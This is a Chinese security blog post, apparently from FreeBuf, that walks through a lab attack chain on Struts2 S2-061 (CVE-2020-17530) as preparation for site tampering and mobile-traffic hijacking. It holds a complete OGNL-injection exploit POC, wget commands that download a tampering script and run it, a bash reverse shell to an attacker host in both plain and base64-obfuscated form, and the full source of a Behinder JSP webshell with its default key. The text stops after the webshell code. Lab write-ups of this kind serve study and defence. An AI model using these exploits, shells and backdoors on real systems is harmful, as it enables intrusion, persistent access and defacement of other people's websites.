从RCE漏洞Get Shell到网站篡改、定向劫持移动端流量实践分析

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户，每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序把安全装进口袋

Web安全

从RCE漏洞Get Shell到网站篡改、定向劫持移动端流量实践分析

2023-04-11 11:44:45

所属地河南省

本文由创作，已纳入「FreeBuf原创奖励计划」，未授权禁止转载

写在最前

本文创作的初衷在于分享和总结，自S2的RCE漏洞遍历之后，逐步涉及大规模事件的漏洞利用和黑灰产分析。基于工作中安全分析技术的分享提升，遂有关于黑帽SEO的从RCE漏洞Get Shell到网站篡改劫持的基本操作实践分析。在篡改劫持和黑灰产分析的路上逐渐深入，才知道基本操作实践分析是真的基本且班门弄斧，原先羞愧于浅显本不欲发出来，后想来初衷在于分享和总结，那就欢迎各位师傅来侃我。其实我还知道几种不方便发文的篡改劫持方式，有分析有总结有收获才算进步，尚差“侃侃而谈”的交流。

概述

篡改黑链一直是网站防护绕不开的风险点，且篡改事件背后一直隐隐约约黑灰产的身影。移动互联网用户基数大，而黑灰产的博彩、色情对移动端流量的需求经久不衰，网站篡改定向劫持移动端流量、黑灰产博彩色情地址只接受来自移动端流量，已经成为黑帽SEO的普及手段。本文基于一类可GetShell的靶场远程RCE漏洞(S2-061)，实践分析其漏洞利用（反弹shell）、后门驻留（冰蝎）、网站篡改（显式和隐式）、流量劫持（外部JS），从而理解一类攻击者批量获取Shell，出售Shell给黑帽SEO，运营者批量篡改、周期性流量劫持，具体表现为大规模博彩或色情定向劫持移动端流量的黑灰产行为。

RCE漏洞——资源概述

漏洞

漏洞名称

Struts2系列漏洞S2-061，CVE-2020-17530=CNVD-2020-69833

漏洞原理

S2-061：Struts远程代码执行漏洞，在使用某些标签属性的情况下可能存在OGNL表达式注入漏洞，从而造成远程代码执行。S2-061是对S2-059修复方案的bypass。S2-059的修复补丁仅修复绕过，OGNL表达式的执行的特性仍在。

S2-059：Struts2会对某些标签属性(比如id，S2-062的属性是name) 的属性值进行二次表达式解析，因此当这些标签属性中使用%{x}且x的值用户可控时，用户再传入一个%{payload}即可造成OGNL表达式执行。

漏洞POC

Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF

------WebKitFormBoundaryl7d1B1aGsV2wcZwF

Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}

------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

上述POC无回显，无回显方式通常配合DNSlog验证。回显POC，需要注意修改Content-Type满足POST方式提交数据即可。

设备

机器

Ø Linux：Kali

靶机：192.168.68.129

攻击：192.168.68.134

Ø Windows

靶机：192.168.68.146

攻击：192.168.68.133

工具

Ø Shell管理工具

冰蝎3

Ø Shell编码工具

VScode

Ø 流量代理工具

Burpsuite（BP）

环境搭建

漏洞环境

Ø Vulhub
Kali靶机部署docker，搭建Vulhub靶场，开启S2-061靶场环境，具体步骤参考：

kali部署Vulhub靶场

靶机Docker部署并启动Vulhub的S2-061环境

攻击机访问目标靶机8080端口

（Vulhub中Struts2的S2-061环境的首页标题就是S2-059demo，参考S2-061是S2-059修复的绕过)

测试id标签属性手动验证S2-061漏洞存在

资源分发

Ø DVWA

Win10靶机使用phpStudy搭建DVWA靶场，调整安全级别，借助文件上传将DVWA部署成为脚本和木马的分发服务器，具体步骤参考：

phpStudy部署DVWA靶场

GetShell——命令执行

攻击机浏览器设置BP代理捕获流量

访问目标站点的index.action页面，BP获取标准数据包

修改提交方式为POST，增加POC并重放数据包

执行Wget命令请求分发服务器，下载脚本change.sh

执行Wget命令如下：

wget http://192.168.68.146/DVWA/DVWA-master/hackable/uploads/change.sh

脚本change.sh内容如下：

#!/bin/bash
wget http://192.168.68.146/DVWA/DVWA-master/hackable/uploads/jspforever.sh
source jspforever.sh

脚本jspforever.sh即为篡改脚本，详细内容参考脚本分析。

执行bash脚本文件执行命令，执行脚本change.sh

反弹shell

Bash反弹命令的编码准备

bash -i >& /dev/tcp/192.168.68.134/7777 0>&1

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjY4LjEzNC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}

BP将bash反弹shell的编码命令放入POC，重放数据包

Kali攻击机使用NC命令监听端口7777，开启交互bash命令环境

Bash反弹的命令环境和S2-061命令执行的位置一致

Bash反弹shell环境wget下载脚本change.sh并source执行

篡改脚本jspforever.sh已经执行。

攻击目的

以冰蝎jsp木马为例，实现插入源网站jsp后缀文件、新增网站目录下jsp后缀文件两种shell驻留方式。冰蝎jsp木马内容如下：

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader
{U(ClassLoader c)
  {super(c);}public Class g(byte []b)
  {return super.defineClass(b,0,b.length);}
}%>
<%if (request.getMethod().equals("POST"))
{String k="e45e329feb5d925b";
  /*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
  session.putValue("u",k);Cipher c=Cipher.getInstance("AES");
  c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
  new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}%>